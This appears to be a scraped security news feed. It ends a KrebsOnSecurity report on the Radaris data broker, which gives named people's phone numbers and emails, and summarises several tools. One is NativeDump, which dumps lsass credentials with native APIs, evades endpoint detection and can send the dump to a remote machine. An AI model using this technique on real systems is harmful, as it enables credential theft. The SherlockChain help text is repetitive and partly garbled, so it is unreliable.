    We took Mr. Gurvits’ word on the ethnicity of his clients, and adjusted the story to remove a single mention that they were Russian. We did so even though Dan Lubarsky’s own Facebook page said (until recently) that he was from Moscow, Russia.

    KrebsOnSecurity asked Mr. Gurvits to explain precisely which other details in the story were incorrect, and replied that we would be happy to update the story with a correction if they could demonstrate any errors of fact or omission.

    We also requested specifics about several aspects of the story, such as the identity of the current Radaris CEO — listed on the Radaris website as “Victor K.” Mr. Gurvits replied that Radaris is and always has been based in Ukraine, and that the company’s true founder “Eugene L” is based there.

    While Radaris has claimed to have offices in Massachusetts, Cyprus and Latvia, its website has never mentioned Ukraine. Mr. Gurvits has not responded to requests for more information about the identities of “Eugene L” or “Victor K.”

    Gurvits said he had no intention of doing anyone’s reporting for them, and that the Lubarskys were going to sue KrebsOnSecurity for defamation unless the story was retracted in full. KrebsOnSecurity replied that journalists often face challenges to things that they report, but it is more than rare for one who makes a challenge to take umbrage at being asked for supporting information.

    On June 13, Mr. Gurvits sent another letter (PDF) that continued to claim KrebsOnSecurity was defaming his clients, only this time Gurvits said his clients would be satisfied if KrebsOnSecurity just removed their names from the story.

    “Ultimately, my clients don’t care what you say about any of the websites or corporate entities in your Article, as long as you completely remove my clients’ names from the Article and cooperate with my clients to have copies of the Article where my clients’ names appear removed from the Internet,” Mr. Gurvits wrote.

    MEET THE FAKE RADARIS CEO

    The June 13 letter explained that the name Gary Norden was a pseudonym invented by the Radaris marketing division, but that neither of the Lubarsky brothers were Norden.

    This was a startling admission, given that Radaris has quoted the fictitious Gary Norden in press releases published and paid for by Radaris, and in news media stories where the company is explicitly seeking money from investors. In other words, Radaris has been misrepresenting itself to investors from the beginning. Here’s a press release from Radaris that was published on PR Newswire in April 2011:

    A press release published by Radaris in 2011 names the CEO of Radaris as Gary Norden, which was a fake name made up by Radaris’ marketing department.

    In April 2014, the Boston Business Journal published a story (PDF) about Radaris that extolled the company’s rapid growth and considerable customer base. The story noted that, “to date, the company has raised less than $1 million from Cyprus-based investment company Difive.”

    “We live in a world where information becomes much more broad and much more available every single day,” the Boston Business Journal quoted Radaris’ fake CEO Gary Norden, who by then had somehow been demoted from CEO to vice president of business development.

    A Boston Business Journal story from April 2014 quotes the fictitious Radaris CEO Gary Norden.

    “We decided there needs to be a service that allows for ease of monitoring of information about people,” the fake CEO said. The story went on to say Radaris was seeking to raise between $5 million and $7 million from investors in the ensuing months.

    THE BIG LUBARSKY

    In his most recent demand letter, Mr. Gurvits helpfully included resumes for both of the Lubarsky brothers.

    Dmitry Lubarsky’s resume states he is the owner of Difive.com, a startup incubator for IT companies. Recall that Difive is the same company mentioned by the fake Radaris CEO in the 2014 Boston Business Journal story, which said Difive was the company’s initial and sole investor.

    Difive’s website in 2016 said it had offices in Boston, New York, San Francisco, Riga (Latvia) and Moscow (nothing in Ukraine). Meanwhile, DomainTools.com reports difive.com was originally registered in 2007 to the fictitious Gary Norden from Massachusetts.

    Archived copies of the Difive website from 2017 include a “Portfolio” page indexing all of the companies in which Difive has invested. That list, available here, includes virtually every “Gary Norden” domain name mentioned in my original report, plus a few that escaped notice earlier.

    Dan Lubarsky’s resume says he was CEO of a people search company called HumanBook. The Wayback machine at archive.org shows the Humanbook domain (humanbook.com) came online around April 2008, when the company was still in “beta” mode.

    By August 2008, however, humanbook.com had changed the name advertised on its homepage to Radaris Beta. Eventually, Humanbook simply redirected to radaris.com.

    Archive.org’s record of humanbook.com from 2008, just after its homepage changed to Radaris Beta.

    Astute readers may notice that the domain radaris.com is not among the companies listed as Difive investments. However, passive domain name system (DNS) records from DomainTools show that between October 2023 and March 2024 radaris.com was hosted alongside all of the other Gary Norden domains at the Internet address range 38.111.228.x.

    That address range simultaneously hosted every domain mentioned in this story and in the original March 2024 report as connected to email addresses used by Gary Norden, including radaris.com, radaris.ru, radaris.de, difive.com, privet.ru, blog.ru, comfi.com, phoneowner.com, russianamerica.com, eprofit.com, rehold.com, homeflock.com, humanbook.com and dozens more. A spreadsheet of those historical DNS entries for radaris.com is available here (.csv).

    Image: DomainTools.com

    The breach tracking service Constella Intelligence finds just two email addresses ending in difive.com have been exposed in data breaches over the years: dan@difive.com, and gn@difive.com. Presumably, “gn” stands for Gary Norden.

    A search on the email address gn@difive.com via the breach tracking service osint.industries reveals this address was used to create an account at Airbnb under the name Gary, with the last four digits of the account’s phone number ending in “0001.”

    Constella Intelligence finds gn@difive.com was associated with the Massachusetts number 617-794-0001, which was used to register accounts for “Igor Lybarsky” from Wellesley or Sherborn, Ma. at multiple online businesses, including audiusa.com and the designer eyewear store luxottica.com.

    The phone number 617-794-0001 also appears for a “Gary Nard” user at russianamerica.com. Igor Lubarsky’s resume says he was the manager of russianamerica.com.

    DomainTools finds 617-794-0001 is connected to registration records for three domains, including paytone.com, a domain that Dan Lubarsky’s resume says he managed. DomainTools also found that number on the registration records for trustoria.com, another major consumer data broker that has an atrocious reputation, according to the Better Business Bureau.

    Dan Lubarsky’s resume says he was responsible for several international telecommunications services, including the website comfi.com. DomainTools says the phone number connected to that domain — 617-952-4234 — was also used on the registration records for humanbook.net/biz/info/mobi/us, as well as for radaris.me, radaris.in, and radaris.tel.

    Two other key domains are connected to that phone number. The first is barsky.com, which is the website for Barsky Estate Realty Trust (PDF), a real estate holding company controlled by the Lubarskys. Naturally, DomainTools finds barsky.com also was registered to a Gary Norden from Massachusetts. But the organization listed in the barsky.com registration records is Comfi Inc., a VOIP communications firm that Dan Lubarsky’s resume says he managed.

    The other domain of note is unipointtechnologies.com. Dan Lubarsky’s resume says he was the CEO of Wellesley Hills, Mass-based Unipoint Technology Inc. In 2012, Unipoint was fined $179,000 by the U.S. Federal Communications Commission, which said the company had failed to apply for a license to provide international telecommunications services.

    A pandemic assistance loan granted in 2020 to Igor Lybarsky of Sherborn, Ma. shows he received the money to an entity called Norden Consulting.

    Notice the name on the recipient of this government loan for Igor Lybarsky from Sherborn, Ma: Norden Consulting. 

    PATENTLY REMARKABLE

    The 2011 Radaris press release quoting their fake CEO Gary Norden said the company had four patents pending from a team of computer science PhDs. According to the resume shared by Mr. Gurvits, Dan Lubarsky has a PhD in computer science.

    The U.S. Patent and Trademark Office (PTO) says Dan Lubarsky/Lubarski has at least nine technology patents to his name. The fake CEO press release from Radaris mentioning its four patents was published in April 2011. By that time, the PTO says Dan Lubarsky had applied for exactly four patents, including, “System and Method for a Web-Based People Directory.” The first of those patents, published in 2009, is tied to Humanbook.com, the company Dan Lubarsky founded that later changed its name to Radaris.

    If the Lubarskys were never involved in Radaris, how do they or their attorney know the inside information that Gary Norden is a fiction of Radaris’ marketing department? KrebsOnSecurity has learned that Mr. Gurvits is the same attorney responding on behalf of Radaris in a lawsuit against the data broker filed earlier this year by Atlas Data Privacy.

    Mr. Gurvits also stepped forward as Radaris’ attorney in a class action lawsuit the company lost in 2017 because it never contested the claim in court. When the plaintiffs told the judge they couldn’t collect on the $7.5 million default judgment, the judge ordered the domain registry Verisign to transfer the radaris.com domain name to the plaintiffs.

    Mr. Gurvits appealed the verdict, arguing that the lawsuit hadn’t named the actual owners of the Radaris domain name — a Cyprus company called Bitseller Expert Limited — and thus taking the domain away would be a violation of their due process rights.

    The judge ruled in Radaris’ favor — halting the domain transfer — and told the plaintiffs they could refile their complaint. Soon after, the operator of Radaris changed from Bitseller to Andtop Company, an entity formed (PDF) in the Marshall Islands in Oct. 2020. Andtop also operates the aforementioned people-search service Trustoria.

    Mr. Gurvits’ most-publicized defamation case was a client named Aleksej Gubarev, a Russian technology executive whose name appeared in the Steele Dossier. That document included a collection of salacious, unverified information gathered by the former British intelligence officer Christopher Steele during the 2016 U.S. presidential campaign at the direction of former president Donald Trump’s political rivals.

    Gubarev, the head of the IT services company XBT Holding and the Florida web hosting firm Webzilla, sued BuzzFeed for publishing the Steele dossier. One of the items in the dossier alleged that XBT/Webzilla and affiliated companies played a key role in the hack of Democratic Party computers in the spring of 2016. The memo alleged Gubarev had been coerced into providing services to Russia’s main domestic security agency, known as the FSB.

    In December 2018, a federal judge in Miami ruled in favor of BuzzFeed, saying the publication was protected by the fair report privilege, which gives news organizations latitude in reporting on official government proceedings.

    Radaris was originally operated by Bitseller Expert Limited. Who owns Bitseller Expert Limited? A report (PDF) obtained from the Cyprus business registry shows this company lists its director as Pavel Kaydash from Moscow. Mr. Kaydash could not be reached for comment.

    ☐ ☆ ✇ KitPloit - PenTest Tools!

    NativeDump - Dump Lsass Using Only Native APIs By Hand-Crafting Minidump Files (Without MinidumpWriteDump!)

    By: Unknown — June 16th 2024 at 17:16


    NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).


    • NTOpenProcessToken and NtAdjustPrivilegeToken to get the "SeDebugPrivilege" privilege
    • RtlGetVersion to get the Operating System version details (Major version, minor version and build number). This is necessary for the SystemInfo Stream
    • NtQueryInformationProcess and NtReadVirtualMemory to get the lsasrv.dll address. This is the only module necessary for the ModuleList Stream
    • NtOpenProcess to get a handle for the lsass process
    • NtQueryVirtualMemory and NtReadVirtualMemory to loop through the memory regions and dump all possible ones. At the same time it populates the Memory64List Stream

    Usage:

    NativeDump.exe [DUMP_FILE]

    The default file name is "proc_.dmp":

    The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.

    Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine

    The project has three branches at the moment (apart from the main branch with the basic technique):

    • ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk

    • delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding

    • remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding


    Technique in detail: Creating a minimal Minidump file

    After reading Minidump undocumented structures, its structure can be summed up to:

    • Header: Information like the Signature ("MDMP"), the location of the Stream Directory and the number of streams
    • Stream Directory: One entry for each stream, containing the type, total size and location in the file of each one
    • Streams: Every stream contains different information related to the process and has its own format
    • Regions: The actual bytes from the process from each memory region which can be read

    I created a parsing tool which can be helpful: MinidumpParser.

    We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.


    A. Header

    The header is a 32-bytes structure which can be defined in C# as:

    public struct MinidumpHeader
    {
    public uint Signature;
    public ushort Version;
    public ushort ImplementationVersion;
    public ushort NumberOfStreams;
    public uint StreamDirectoryRva;
    public uint CheckSum;
    public IntPtr TimeDateStamp;
    }

    The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header


    B. Stream Directory

    Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:

    public struct MinidumpStreamDirectoryEntry
    {
    public uint StreamType;
    public uint Size;
    public uint Location;
    }

    The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:

    ID Stream Type
    0x00 UnusedStream
    0x01 ReservedStream0
    0x02 ReservedStream1
    0x03 ThreadListStream
    0x04 ModuleListStream
    0x05 MemoryListStream
    0x06 ExceptionStream
    0x07 SystemInfoStream
    0x08 ThreadExListStream
    0x09 Memory64ListStream
    0x0A CommentStreamA
    0x0B CommentStreamW
    0x0C HandleDataStream
    0x0D FunctionTableStream
    0x0E UnloadedModuleListStream
    0x0F MiscInfoStream
    0x10 MemoryInfoListStream
    0x11 ThreadInfoListStream
    0x12 HandleOperationListStream
    0x13 TokenStream
    0x16 HandleOperationListStream

    C. SystemInformation Stream

    First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:

    public struct SystemInformationStream
    {
    public ushort ProcessorArchitecture;
    public ushort ProcessorLevel;
    public ushort ProcessorRevision;
    public byte NumberOfProcessors;
    public byte ProductType;
    public uint MajorVersion;
    public uint MinorVersion;
    public uint BuildNumber;
    public uint PlatformId;
    public uint UnknownField1;
    public uint UnknownField2;
    public IntPtr ProcessorFeatures;
    public IntPtr ProcessorFeatures2;
    public uint UnknownField3;
    public ushort UnknownField14;
    public byte UnknownField15;
    }

    The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)


    D. ModuleList Stream

    Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".

    The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:

    public struct ModuleListStream
    {
    public uint NumberOfModules;
    public ModuleInfo[] Modules;
    }

    As there is only one, it gets simplified to:

    public struct ModuleListStream
    {
    public uint NumberOfModules;
    public IntPtr BaseAddress;
    public uint Size;
    public uint UnknownField1;
    public uint Timestamp;
    public uint PointerName;
    public IntPtr UnknownField2;
    public IntPtr UnknownField3;
    public IntPtr UnknownField4;
    public IntPtr UnknownField5;
    public IntPtr UnknownField6;
    public IntPtr UnknownField7;
    public IntPtr UnknownField8;
    public IntPtr UnknownField9;
    public IntPtr UnknownField10;
    public IntPtr UnknownField11;
    }

    The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)


    E. Memory64List Stream

    Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.

    public struct Memory64ListStream
    {
    public ulong NumberOfEntries;
    public uint MemoryRegionsBaseAddress;
    public Memory64Info[] MemoryInfoEntries;
    }

    Each module entry is a 16-bytes structure:

    public struct Memory64Info
    {
    public IntPtr Address;
    public IntPtr Size;
    }

    The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them


    F. Looping memory regions

    There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:

    1. Obtain the "SeDebugPrivilege" permission. Instead of the typical Advapi!OpenProcessToken, Advapi!LookupPrivilegeValue and Advapi!AdjustTokenPrivilege, we will use ntdll!NtOpenProcessToken, ntdll!NtAdjustPrivilegesToken and the hardcoded value of 20 for the Luid (which is constant in all latest Windows versions)
    2. Obtain the process ID. For example, loop all processes using ntdll!NtGetNextProcess, obtain the PEB address with ntdll!NtQueryInformationProcess and use ntdll!NtReadVirtualMemory to read the ImagePathName field inside ProcessParameters. To avoid overcomplicating the PoC, we will use .NET's Process.GetProcessesByName()
    3. Open a process handle. Use ntdll!OpenProcess with permissions PROCESS_QUERY_INFORMATION (0x0400) to retrieve process information and PROCESS_VM_READ (0x0010) to read the memory bytes

    With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream


    G. Creating Minidump file

    After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.




    ☐ ☆ ✇ KitPloit - PenTest Tools!

    PIP-INTEL - OSINT and Cyber Intelligence Tool

    By: Unknown — June 7th 2024 at 12:30

     


    Pip-Intel is a powerful tool designed for OSINT (Open Source Intelligence) and cyber intelligence gathering activities. It consolidates various open-source tools into a single user-friendly interface simplifying the data collection and analysis processes for researchers and cybersecurity professionals.

    Pip-Intel utilizes Python-written pip packages to gather information from various data points. This tool is equipped with the capability to collect detailed information through email addresses, phone numbers, IP addresses, and social media accounts. It offers a wide range of functionalities including email-based OSINT operations, phone number-based inquiries, geolocating IP addresses, social media and user analyses, and even dark web searches.




    ☐ ☆ ✇ Security – Cisco Blog

    Security, the cloud, and AI: building powerful outcomes while simplifying your experience

    By: Rick Miles — June 7th 2024 at 12:00
    Read how Cisco Security Cloud Control prioritizes consolidation of tools and simplification of security policy without compromising your defense.
    ☐ ☆ ✇ KitPloit - PenTest Tools!

    SherlockChain - A Streamlined AI Analysis Framework For Solidity, Vyper And Plutus Contracts

    By: Zion3R — May 27th 2024 at 12:30


    SherlockChain is a powerful smart contract analysis framework that combines the capabilities of the renowned Slither tool with advanced AI-powered features. Developed by a team of security experts and AI researchers, SherlockChain offers unparalleled insights and vulnerability detection for Solidity, Vyper and Plutus smart contracts.


    Key Features

    • Comprehensive Vulnerability Detection: SherlockChain's suite of detectors identifies a wide range of vulnerabilities, including high-impact issues like reentrancy, unprotected upgrades, and more.
    • AI-Powered Analysis: Integrated AI models enhance the accuracy and precision of vulnerability detection, providing developers with actionable insights and recommendations.
    • Seamless Integration: SherlockChain seamlessly integrates with popular development frameworks like Hardhat, Foundry, and Brownie, making it easy to incorporate into your existing workflow.
    • Intuitive Reporting: SherlockChain generates detailed reports with clear explanations and code snippets, helping developers quickly understand and address identified issues.
    • Customizable Analyses: The framework's flexible API allows users to write custom analyses and detectors, tailoring the tool to their specific needs.
    • Continuous Monitoring: SherlockChain can be integrated into your CI/CD pipeline, providing ongoing monitoring and alerting for your smart contract codebase.

    Installation

    To install SherlockChain, follow these steps:

    git clone https://github.com/0xQuantumCoder/SherlockChain.git
    cd SherlockChain
    pip install .

    AI-Powered Features

    SherlockChain's AI integration brings several advanced capabilities to the table:

    1. Intelligent Vulnerability Prioritization: AI models analyze the context and potential impact of detected vulnerabilities, providing developers with a prioritized list of issues to address.
    2. Automated Remediation Suggestions: The AI component suggests potential fixes and code modifications to address identified vulnerabilities, accelerating the remediation process.
    3. Proactive Security Auditing: SherlockChain's AI models continuously monitor your codebase, proactively identifying emerging threats and providing early warning signals.
    4. Natural Language Interaction: Users can interact with SherlockChain using natural language, allowing them to query the tool, request specific analyses, and receive detailed responses. he --help command in the SherlockChain framework provides a comprehensive overview of all the available options and features. It includes information on:

    5. Vulnerability Detection: The --detect and --exclude-detectors options allow users to specify which vulnerability detectors to run, including both built-in and AI-powered detectors.

    6. Reporting: The --report-format, --report-output, and various --report-* options control how the analysis results are reported, including the ability to generate reports in different formats (JSON, Markdown, SARIF, etc.).
    7. Filtering: The --filter-* options enable users to filter the reported issues based on severity, impact, confidence, and other criteria.
    8. AI Integration: The --ai-* options allow users to configure and control the AI-powered features of SherlockChain, such as prioritizing high-impact vulnerabilities, enabling specific AI detectors, and managing AI model configurations.
    9. Integration with Development Frameworks: Options like --truffle and --truffle-build-directory facilitate the integration of SherlockChain into popular development frameworks like Truffle.
    10. Miscellaneous Options: Additional options for compiling contracts, listing detectors, and customizing the analysis process.

    The --help command provides a detailed explanation of each option, its purpose, and how to use it, making it a valuable resource for users to quickly understand and leverage the full capabilities of the SherlockChain framework.

    Example usage:

    sherlockchain --help

    This will display the comprehensive usage guide for the SherlockChain framework, including all available options and their descriptions.

    usage: sherlockchain [-h] [--version] [--solc-remaps SOLC_REMAPS] [--solc-settings SOLC_SETTINGS]
    [--solc-version SOLC_VERSION] [--truffle] [--truffle-build-directory TRUFFLE_BUILD_DIRECTORY]
    [--truffle-config-file TRUFFLE_CONFIG_FILE] [--compile] [--list-detectors]
    [--list-detectors-info] [--detect DETECTORS] [--exclude-detectors EXCLUDE_DETECTORS]
    [--print-issues] [--json] [--markdown] [--sarif] [--text] [--zip] [--output OUTPUT]
    [--filter-paths FILTER_PATHS] [--filter-paths-exclude FILTER_PATHS_EXCLUDE]
    [--filter-contracts FILTER_CONTRACTS] [--filter-contracts-exclude FILTER_CONTRACTS_EXCLUDE]
    [--filter-severity FILTER_SEVERITY] [--filter-impact FILTER_IMPACT]
    [--filter-confidence FILTER_CONFIDENCE] [--filter-check-suicidal]
    [--filter-check-upgradeable] [--f ilter-check-erc20] [--filter-check-erc721]
    [--filter-check-reentrancy] [--filter-check-gas-optimization] [--filter-check-code-quality]
    [--filter-check-best-practices] [--filter-check-ai-detectors] [--filter-check-all]
    [--filter-check-none] [--check-all] [--check-suicidal] [--check-upgradeable]
    [--check-erc20] [--check-erc721] [--check-reentrancy] [--check-gas-optimization]
    [--check-code-quality] [--check-best-practices] [--check-ai-detectors] [--check-none]
    [--check-all-detectors] [--check-all-severity] [--check-all-impact] [--check-all-confidence]
    [--check-all-categories] [--check-all-filters] [--check-all-options] [--check-all]
    [--check-none] [--report-format {json,markdown,sarif,text,zip}] [--report-output OUTPUT]
    [--report-severity REPORT_SEVERITY] [--report-impact R EPORT_IMPACT]
    [--report-confidence REPORT_CONFIDENCE] [--report-check-suicidal]
    [--report-check-upgradeable] [--report-check-erc20] [--report-check-erc721]
    [--report-check-reentrancy] [--report-check-gas-optimization] [--report-check-code-quality]
    [--report-check-best-practices] [--report-check-ai-detectors] [--report-check-all]
    [--report-check-none] [--report-all] [--report-suicidal] [--report-upgradeable]
    [--report-erc20] [--report-erc721] [--report-reentrancy] [--report-gas-optimization]
    [--report-code-quality] [--report-best-practices] [--report-ai-detectors] [--report-none]
    [--report-all-detectors] [--report-all-severity] [--report-all-impact]
    [--report-all-confidence] [--report-all-categories] [--report-all-filters]
    [--report-all-options] [- -report-all] [--report-none] [--ai-enabled] [--ai-disabled]
    [--ai-priority-high] [--ai-priority-medium] [--ai-priority-low] [--ai-priority-all]
    [--ai-priority-none] [--ai-confidence-high] [--ai-confidence-medium] [--ai-confidence-low]
    [--ai-confidence-all] [--ai-confidence-none] [--ai-detectors-all] [--ai-detectors-none]
    [--ai-detectors-specific AI_DETECTORS_SPECIFIC] [--ai-detectors-exclude AI_DETECTORS_EXCLUDE]
    [--ai-models-path AI_MODELS_PATH] [--ai-models-update] [--ai-models-download]
    [--ai-models-list] [--ai-models-info] [--ai-models-version] [--ai-models-check]
    [--ai-models-upgrade] [--ai-models-remove] [--ai-models-clean] [--ai-models-reset]
    [--ai-models-backup] [--ai-models-restore] [--ai-models-export] [--ai-models-import]
    [--ai-models-config AI_MODELS_CONFIG] [--ai-models-config-update] [--ai-models-config-reset]
    [--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-list]
    [--ai-models-config-info] [--ai-models-config-version] [--ai-models-config-check]
    [--ai-models-config-upgrade] [--ai-models-config-remove] [--ai-models-config-clean]
    [--ai-models-config-reset] [--ai-models-config-backup] [--ai-models-config-restore]
    [--ai-models-config-export] [--ai-models-config-import] [--ai-models-config-path AI_MODELS_CONFIG_PATH]
    [--ai-models-config-file AI_MODELS_CONFIG_FILE] [--ai-models-config-url AI_MODELS_CONFIG_URL]
    [--ai-models-config-name AI_MODELS_CONFIG_NAME] [--ai-models-config-description AI_MODELS_CONFIG_DESCRIPTION]
    [--ai-models-config-version-major AI_MODELS_CONFIG_VERSION_MAJOR]
    [--ai-models-config- version-minor AI_MODELS_CONFIG_VERSION_MINOR]
    [--ai-models-config-version-patch AI_MODELS_CONFIG_VERSION_PATCH]
    [--ai-models-config-author AI_MODELS_CONFIG_AUTHOR]
    [--ai-models-config-license AI_MODELS_CONFIG_LICENSE]
    [--ai-models-config-url-documentation AI_MODELS_CONFIG_URL_DOCUMENTATION]
    [--ai-models-config-url-source AI_MODELS_CONFIG_URL_SOURCE]
    [--ai-models-config-url-issues AI_MODELS_CONFIG_URL_ISSUES]
    [--ai-models-config-url-changelog AI_MODELS_CONFIG_URL_CHANGELOG]
    [--ai-models-config-url-support AI_MODELS_CONFIG_URL_SUPPORT]
    [--ai-models-config-url-website AI_MODELS_CONFIG_URL_WEBSITE]
    [--ai-models-config-url-logo AI_MODELS_CONFIG_URL_LOGO]
    [--ai-models-config-url-icon AI_MODELS_CONFIG_URL_ICON]
    [--ai-models-config-url-banner AI_MODELS_CONFIG_URL_BANNER]
    [--ai-models-config-url-screenshot AI_MODELS_CONFIG_URL_SCREENSHOT]
    [--ai-models-config-url-video AI_MODELS_CONFIG_URL_VIDEO]
    [--ai-models-config-url-demo AI_MODELS_CONFIG_URL_DEMO]
    [--ai-models-config-url-documentation-api AI_MODELS_CONFIG_URL_DOCUMENTATION_API]
    [--ai-models-config-url-documentation-user AI_MODELS_CONFIG_URL_DOCUMENTATION_USER]
    [--ai-models-config-url-documentation-developer AI_MODELS_CONFIG_URL_DOCUMENTATION_DEVELOPER]
    [--ai-models-config-url-documentation-faq AI_MODELS_CONFIG_URL_DOCUMENTATION_FAQ]
    [--ai-models-config-url-documentation-tutorial AI_MODELS_CONFIG_URL_DOCUMENTATION_TUTORIAL]
    [--ai-models-config-url-documentation-guide AI_MODELS_CONFIG_URL_DOCUMENTATION_GUIDE]
    [--ai-models-config-url-documentation-whitepaper AI_MODELS_CONFIG_URL_DOCUMENTATION_WHITEPAPER]
    [--ai-models-config-url-documentation-roadmap AI_MODELS_CONFIG_URL_DOCUMENTATION_ROADMAP]
    [--ai-models-config-url-documentation-blog AI_MODELS_CONFIG_URL_DOCUMENTATION_BLOG]
    [--ai-models-config-url-documentation-community AI_MODELS_CONFIG_URL_DOCUMENTATION_COMMUNITY]

    This comprehensive usage guide provides information on all the available options and features of the SherlockChain framework, including:

    • Vulnerability detection options: --detect, --exclude-detectors
    • Reporting options: --report-format, --report-output, --report-*
    • Filtering options: --filter-*
    • AI integration options: --ai-*
    • Integration with development frameworks: --truffle, --truffle-build-directory
    • Miscellaneous options: --compile, --list-detectors, --list-detectors-info

    By reviewing this comprehensive usage guide, you can quickly understand how to leverage the full capabilities of the SherlockChain framework to analyze your smart contracts and identify potential vulnerabilities. This will help you ensure the security and reliability of your DeFi protocol before deployment.

    AI-Powered Detectors

    Num Detector What it Detects Impact Confidence
    1 ai-anomaly-detection Detect anomalous code patterns using advanced AI models High High
    2 ai-vulnerability-prediction Predict potential vulnerabilities using machine learning High High
    3 ai-code-optimization Suggest code optimizations based on AI-driven analysis Medium High
    4 ai-contract-complexity Assess contract complexity and maintainability using AI Medium High
    5 ai-gas-optimization Identify gas-optimizing opportunities with AI Medium Medium
    ## Detectors
    Num Detector What it Detects Impact Confidence
    1 abiencoderv2-array Storage abiencoderv2 array High High
    2 arbitrary-send-erc20 transferFrom uses arbitrary from High High
    3 array-by-reference Modifying storage array by value High High
    4 encode-packed-collision ABI encodePacked Collision High High
    5 incorrect-shift The order of parameters in a shift instruction is incorrect. High High
    6 multiple-constructors Multiple constructor schemes High High
    7 name-reused Contract's name reused High High
    8 protected-vars Detected unprotected variables High High
    9 public-mappings-nested Public mappings with nested variables High High
    10 rtlo Right-To-Left-Override control character is used High High
    11 shadowing-state State variables shadowing High High
    12 suicidal Functions allowing anyone to destruct the contract High High
    13 uninitialized-state Uninitialized state variables High High
    14 uninitialized-storage Uninitialized storage variables High High
    15 unprotected-upgrade Unprotected upgradeable contract High High
    16 codex Use Codex to find vulnerabilities. High Low
    17 arbitrary-send-erc20-permit transferFrom uses arbitrary from with permit High Medium
    18 arbitrary-send-eth Functions that send Ether to arbitrary destinations High Medium
    19 controlled-array-length Tainted array length assignment High Medium
    20 controlled-delegatecall Controlled delegatecall destination High Medium
    21 delegatecall-loop Payable functions using delegatecall inside a loop High Medium
    22 incorrect-exp Incorrect exponentiation High Medium
    23 incorrect-return If a return is incorrectly used in assembly mode. High Medium
    24 msg-value-loop msg.value inside a loop High Medium
    25 reentrancy-eth Reentrancy vulnerabilities (theft of ethers) High Medium
    26 return-leave If a return is used instead of a leave. High Medium
    27 storage-array Signed storage integer array compiler bug High Medium
    28 unchecked-transfer Unchecked tokens transfer High Medium
    29 weak-prng Weak PRNG High Medium
    30 domain-separator-collision Detects ERC20 tokens that have a function whose signature collides with EIP-2612's DOMAIN_SEPARATOR() Medium High
    31 enum-conversion Detect dangerous enum conversion Medium High
    32 erc20-interface Incorrect ERC20 interfaces Medium High
    33 erc721-interface Incorrect ERC721 interfaces Medium High
    34 incorrect-equality Dangerous strict equalities Medium High
    35 locked-ether Contracts that lock ether Medium High
    36 mapping-deletion Deletion on mapping containing a structure Medium High
    37 shadowing-abstract State variables shadowing from abstract contracts Medium High
    38 tautological-compare Comparing a variable to itself always returns true or false, depending on comparison Medium High
    39 tautology Tautology or contradiction Medium High
    40 write-after-write Unused write Medium High
    41 boolean-cst Misuse of Boolean constant Medium Medium
    42 constant-function-asm Constant functions using assembly code Medium Medium
    43 constant-function-state Constant functions changing the state Medium Medium
    44 divide-before-multiply Imprecise arithmetic operations order Medium Medium
    45 out-of-order-retryable Out-of-order retryable transactions Medium Medium
    46 reentrancy-no-eth Reentrancy vulnerabilities (no theft of ethers) Medium Medium
    47 reused-constructor Reused base constructor Medium Medium
    48 tx-origin Dangerous usage of tx.origin Medium Medium
    49 unchecked-lowlevel Unchecked low-level calls Medium Medium
    50 unchecked-send Unchecked send Medium Medium
